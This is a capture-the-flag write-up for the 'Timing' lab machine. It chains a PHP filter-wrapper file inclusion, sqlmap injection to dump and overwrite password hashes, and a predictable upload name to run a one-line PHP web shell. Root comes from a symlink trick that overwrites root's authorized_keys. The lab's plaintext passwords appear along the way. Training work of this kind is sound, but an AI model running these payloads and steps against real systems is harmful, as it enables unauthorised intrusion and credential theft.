Not a second too late or too soon... 🕑
Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
We have a couple ports open, only one is useful to us at the moment. We’re immediately met with a login page:
We can fuzz directories and find the image.php
endpoint. We can use this to perform LFI:
view-source:http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=<file>
I did initially try to use regular LFI but there’s a poorly made WAF stopping us. We can grab the source of login.php
and see a few included files such as db_conn.php
which contains the following:
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
We can see that there’s a way to upload files to the server and understand how they are stored + filtered:
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
Foothold
We do need to be logged in to attempt any file upload attacks. After far too many attempts, I eventually got in using the login aaron:aaron
. We have the option to update our profile, we can capture the request and attempt SQLi (as suggested by the source code):
sudo sqlmap -r update.req --level 3 --risk 3
We already know there’s a database named app so we can go directly to it and dump the users table:
sudo sqlmap -r update.req -D app -T users --dump
We (eventually) get the hash for the admin account in bcrypt:
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| aaron | $2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq |
| admin | $2y$10$ubvjLBABd7Rw7g.tZJh8gOABFO9l5v0xDDur8FxNUZSWrVXlQOrpe |
+----------+--------------------------------------------------------------+
We can use the --sql-shell
option to change admin’s password and get into the account:
UPDATE users SET password = "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq" WHERE id = 1: 'NULL'
After doing so, I can login with Aaron’s password. Next is to get a shell. We have access to the avatar upload referenced earlier on:
We can use a simple double extension to work out bypass the image filter. Our biggest challenge is getting the file name after it being uplaoded. We know where it goes to (/images/uploads
) but the name is completely changed.
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
What’s interesting to note is that the file_hash variable is never used, if you look closely you can see it’s literally just prefixed with the string “$file_hash”.
Which is then hashed into md5 and maintains the original extension. We can try bruteforce this using a script:
<?php
$file_name = md5('$file_hash' . time()) . '_' . 'rev2';
echo $file_name."\n";
?>
We can use burpsuite’s repeater to constantly upload the file and hopefully get a matching name. While spamming, we’ll simultaneously run our php script:
while [ True ]; do php uniq.php; sleep 1; done > filenames
I opted to use dirb to try bruteforce the file name using the generated wordlist:
sudo dirb http://timing.htb/images/uploads/ filenames -X .jpg
My jpg simply contains a simple PHP shell:
<?php system($_GET['cmd']) ?>
We can use our LFI to execute the file (we unfortunately can’t execute it by directly navigating to it but since the LFI includes the file, it executes):
http://timing.htb/image.php?img=php://filter/resource=images/uploads/a4ad29a1be584dc27d50982ad39d705c_rev.php.jpg&cmd=
User own
We can do a manual enumeration and see there’s a backup in /opt
:
We can use git extractor to pull all data out of this backup and see if we can find any logins with it:
/opt/GitTools/Extractor/extractor.sh . loot
There’s only two commits, one contains a difference password to usual in it’s db_conn
file:
S3cr3t_unGu3ss4bl3_p422w0Rd
We can use it to SSH as Aaron and get the user flag.
Root own
We can take a look at our permissions and see that we do have permission to run a script called netutils as root, the script contains a command to execute a java file which we aren’t able to read:
Having a quick look at what this does, we can see it can either get files using HTTP or FTP, let’s try:
It copies the content of the page locally, we can try use this to over-write root’s authorized keys with our own:
ln -s /root/.ssh/authorized_keys
We can then go ahead and generate our own using sshkey-gen
, we just need to ensure that the name of the file being downloaded matches the name of the one we linked:
We can then SSH with our priv key and get the root flag